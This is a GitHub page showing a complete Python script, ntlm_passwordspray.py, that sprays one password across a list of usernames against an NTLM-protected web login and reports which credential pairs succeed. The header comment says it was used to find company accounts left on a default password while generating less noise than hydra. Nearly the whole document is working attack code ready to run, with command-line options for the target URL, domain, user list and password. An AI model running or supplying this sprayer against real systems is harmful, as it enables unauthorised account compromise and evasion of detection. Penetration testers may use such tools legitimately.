-
Notifications
You must be signed in to change notification settings - Fork 0
/
ntlm_passwordspray.py
88 lines (76 loc) · 3.32 KB
/
ntlm_passwordspray.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/env python3
######################################################################################
# ntlm_passwordspray.py - Simple Password sprayer for NTLM (web-)endpoints.
#
# I used this to throw a company standard password at enumerated user accounts
# on a NTLM weblogin endpoint to where it sticks. Aka what users did not change their
# default credentials as they were told to do...
#
# You _could_ use hydra for this, but this way I had more control over the process,
# as hydra tends to make alot of noise.
#####################################################################################
import requests
from requests_ntlm import HttpNtlmAuth
import sys
import getopt
class NTLMSprayer:
def __init__(self, fqdn):
self.HTTP_AUTH_FAILED_CODE = 401
self.HTTP_AUTH_SUCCEED_CODE = 200
self.verbose = True
self.fqdn = fqdn
def load_users(self, userfile):
# load the contents of userfile into a list:
self.users: list = []
lines = open(userfile, 'r', encoding="utf-8").readlines()
for line in lines:
self.users.append(line.replace("\r", "").replace("\n", ""))
print(f"[=] Loaded wordlist {userfile} for: {len(userfile)} items.\n")
def password_spray(self, password, url):
print("[i] Starting NTLM password spray attack using the following password: " + password)
count = 0
for user in self.users:
response = requests.get(url, auth=HttpNtlmAuth(self.fqdn + "\\" + user, password))
if response.status_code == self.HTTP_AUTH_SUCCEED_CODE:
print("[+] Valid credential pair found! Username: " + user + " Password: " + password)
count += 1
continue
if self.verbose:
if response.status_code == self.HTTP_AUTH_FAILED_CODE:
print("[-] Failed login with Username: " + user)
print("[*] Password spray attack completed, " + str(count) + " valid credential pairs found")
def main(argv):
userfile = ''
fqdn = ''
password = ''
attackurl = ''
# use getopt for command line parameter collection:
try:
opts, args = getopt.getopt(argv, "hu:f:p:a:", ["userfile=", "fqdn=", "password=", "attackurl="])
except getopt.GetoptError:
print("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
for opt, arg in opts:
if opt == '-h':
print("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit()
elif opt in ("-u", "--userfile"):
userfile = str(arg)
elif opt in ("-f", "--fqdn"):
fqdn = str(arg)
elif opt in ("-p", "--password"):
password = str(arg)
elif opt in ("-a", "--attackurl"):
attackurl = str(arg)
if len(userfile) > 0 and len(fqdn) > 0 and len(password) > 0 and len(attackurl) > 0:
# All set, start the attack:
sprayer = NTLMSprayer(fqdn)
sprayer.load_users(userfile)
sprayer.password_spray(password, attackurl)
sys.exit()
else:
# Nay, something looks fishy, print usage and exit...
print("ntlm_passwordspray.py -u <userfile> -f <fqdn> -p <password> -a <attackurl>")
sys.exit(2)
if __name__ == "__main__":
main(sys.argv[1:])